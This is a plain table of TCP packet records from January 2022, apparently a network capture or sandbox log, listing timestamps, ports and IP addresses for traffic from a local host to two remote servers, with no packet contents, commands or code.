Jan 14, 2022 02:05:32.303719997 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.306634903 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.321496964 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.321530104 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.321552992 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.321571112 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.321589947 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.321609020 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.321611881 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.321625948 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.321631908 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.321643114 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.321660995 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.321677923 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.321686029 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.321696043 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.321712017 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.321717024 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.321736097 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.324271917 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.324295998 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.324377060 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.337187052 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337227106 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337249994 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337268114 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337287903 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337304115 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337327003 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337331057 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.337342978 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337364912 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337377071 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.337389946 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337407112 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.337414026 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337440014 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337464094 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337469101 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.337488890 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337498903 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.337515116 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337541103 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337554932 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.337565899 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337588072 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337605000 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337608099 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.337622881 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337641001 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337642908 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.337658882 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337673903 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.337676048 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337692976 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337711096 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337713957 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.337728977 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337745905 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337763071 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337765932 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.337779999 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.337791920 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.337830067 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.338254929 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.411581039 CET	80	49901	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:32.412489891 CET	49901	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:32.704336882 CET	49906	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 02:05:32.733536005 CET	38133	49906	86.107.197.138	192.168.2.3
Jan 14, 2022 02:05:32.812143087 CET	49906	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 02:05:33.016406059 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.090437889 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.091125011 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.091252089 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.165783882 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.165822029 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.165880919 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.165904045 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.165926933 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.165951014 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.165977001 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.166002035 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.166027069 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.166050911 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.166074991 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.166129112 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.167085886 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.241441011 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.241477966 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.241501093 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.241525888 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.241549969 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.241573095 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.241602898 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.241626978 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.241650105 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.241674900 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.241698027 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.241720915 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.241744995 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.241767883 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.241899014 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.241928101 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.241954088 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.241976976 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.242002010 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.242120981 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.243108988 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.316116095 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316145897 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316159010 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316175938 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316193104 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316210032 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316227913 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316245079 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316262007 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316277981 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316294909 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316312075 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316329002 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316344976 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316360950 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316378117 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316420078 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316484928 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316504002 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316521883 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316922903 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316945076 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316963911 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316981077 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.316998959 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.317015886 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.317051888 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.317069054 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.317126036 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.317156076 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.317156076 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.317173004 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.317189932 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.317256927 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.317280054 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.317297935 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.317316055 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.317397118 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.317414999 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.318115950 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.319108009 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.320115089 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.391237020 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391268969 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391284943 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391303062 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391319036 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391338110 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391355038 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391376019 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391396046 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391412973 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391431093 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391448021 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391464949 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391484022 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391499996 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391520977 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391539097 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391555071 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391896963 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391943932 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391962051 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.391979933 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.392015934 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.392044067 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.392061949 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.392080069 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.392152071 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.392163038 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.392194986 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.392903090 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.392926931 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.392945051 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.392961979 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.392980099 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.392996073 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.393013954 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.393032074 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.393111944 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.393130064 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.393138885 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.393920898 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.393942118 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.393960953 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.393978119 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.393996000 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.394026041 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.394043922 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.394062042 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.394117117 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.394167900 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.394186974 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.395117998 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.396111012 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.466109991 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.466145039 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.466170073 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.466192961 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.466214895 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.466238022 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.466260910 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.466284037 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.466306925 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.466331005 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.466986895 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.467017889 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.467034101 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.467056036 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.467076063 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.467094898 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.467113972 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.467133045 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.467192888 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.468040943 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.468066931 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.468086958 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.468106985 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.468126059 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.468127012 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.468146086 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.468167067 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.468187094 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.468209982 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.468233109 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.469000101 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.469036102 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.469058037 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.469080925 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.469105005 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.469119072 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.469126940 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.469147921 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.469170094 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.469189882 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.469212055 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.469975948 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.470017910 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.470048904 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.470073938 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.470096111 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.470112085 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.470118999 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.470143080 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.470172882 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.470207930 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.470242977 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.471116066 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.541177034 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.541208029 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.541224957 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.541243076 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.541260958 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.541277885 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.541294098 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.541312933 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.542007923 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.542038918 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.542057037 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.542074919 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.542149067 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.542151928 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.542174101 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.542193890 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.542212963 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.542231083 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.542292118 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.543004990 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.543031931 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.543052912 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.543070078 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.543091059 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.543111086 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.543123007 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.543128967 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.543185949 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.543226004 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.543243885 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.544089079 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.544114113 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.544126034 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.544132948 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.544152021 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.544169903 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.544231892 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.544253111 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.544271946 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.544289112 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.544338942 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.544900894 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.544928074 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.544944048 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.544961929 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.545061111 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.545089960 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.545106888 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.545121908 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.545124054 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.545192957 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.545209885 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.546120882 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.547094107 CET	49908	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:33.616137028 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616168976 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616189003 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616214037 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616234064 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616250992 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616270065 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616286039 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616302013 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616323948 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616348028 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616372108 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616391897 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616408110 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616430044 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616450071 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616472960 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616497993 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616516113 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616563082 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616583109 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616616964 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616636038 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616652012 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616714954 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616750002 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616767883 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616836071 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616854906 CET	80	49908	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:33.616904974 CET	80	49908	141.8.194.74	192.168.2.3
